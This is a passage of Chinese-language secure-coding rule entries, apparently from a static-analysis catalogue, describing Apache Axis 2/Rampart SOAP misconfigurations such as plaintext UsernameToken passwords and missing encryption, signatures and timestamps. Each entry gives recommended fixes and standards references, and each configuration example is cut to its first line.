[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
使用 UsernameToken 的服务提供程序可能会接受以明文形式发送的密码。若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 Axis 2 服务提供程序配置使用了 UsernameToken:
1 | <service> |
RECOMMENDATIONS
要求使用签名,而不是 UsernameToken。下面提供了一个配置示例:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Web Services Security Username Token Profile 1.0 OASIS
[4] Standards Mapping - Common Weakness Enumeration CWE ID 311
[5] Standards Mapping - FIPS200 CM
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Inbound WS-Security Not Enabled
ABSTRACT
若服务提供程序不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
若 Apache Axis 2 配置文件中缺少 InflowSecurity 参数,则表明未启用输入消息的安全性。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为对输入的响应使用 WS-Security。
此配置应包含 InflowSecurity 参数,如下例所示:
1 | <axisconfig name="AxisJava2.0"> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Inbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
下列 Apache Axis 2 Rampart 客户端配置不要求对输入的消息进行加密,因为 <items>
标签不包含 Encrypt 指令:
1 | <service> |
RECOMMENDATIONS
将您的客户端配置为只接受加密的消息。在 <items>
标签中添加 Encrypt 指令,便可完成此配置。
示例:
1 | <service> |
顺序非常重要!将 Encrypt 指令放在末尾,可确保其前面的任何内容都得到加密。在上例中,时间戳和签名都将被加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Inbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在发送者或接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码来验证消息内容来自真正的发送者。
下列客户端配置可让 Axis 2 接受未经签名的消息:
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
将该客户端配置为对输入的响应验证签名。
下列客户端配置可让 Axis 2 验证它所收到的消息的签名:
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Signature 指令置于 Encrypt 指令之前以及 Timestamp 指令之后,可确保对时间戳进行签名以及对签名和时间戳进行加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Inbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列 Apache Axis 2 Rampart 配置的 <items>
标签中缺少 Timestamp 指令,因此该客户端不会要求响应中包含时间戳。
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
如果该服务提供支持,则将客户端配置为只接受带有时间戳的响应。 下列 Apache Axis 2 Rampart 配置的 <items>
标签中包含 Timestamp 指令,因此它要求所有响应中都包含时间戳。
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Outbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
下列 Apache Axis 2 Rampart 客户端配置不要求对输入的消息进行加密,因为 <items>
标签不包含 Encrypt 指令:
1 | <service> |
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为只发送加密的消息。在 <items>
标签中添加 Encrypt 指令,便可完成此配置。
示例:
1 | <service> |
顺序非常重要!将 Encrypt 指令放在末尾,可确保其前面的任何内容都得到加密。在上例中,时间戳和签名都将被加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Requester Misconfiguration: Missing Outbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码验证消息内容的来源。
下列客户端配置可让 Axis 2 发送未经签名的请求:
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
将客户端配置为对输出的请求进行签名,如下所示:
1 | <axisconfig name="AxisJava2.0"> |
顺序非常重要!将 Signature 指令置于 Encrypt 指令之前以及 Timestamp 指令之后,可确保对时间戳进行签名以及对签名和时间戳进行加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
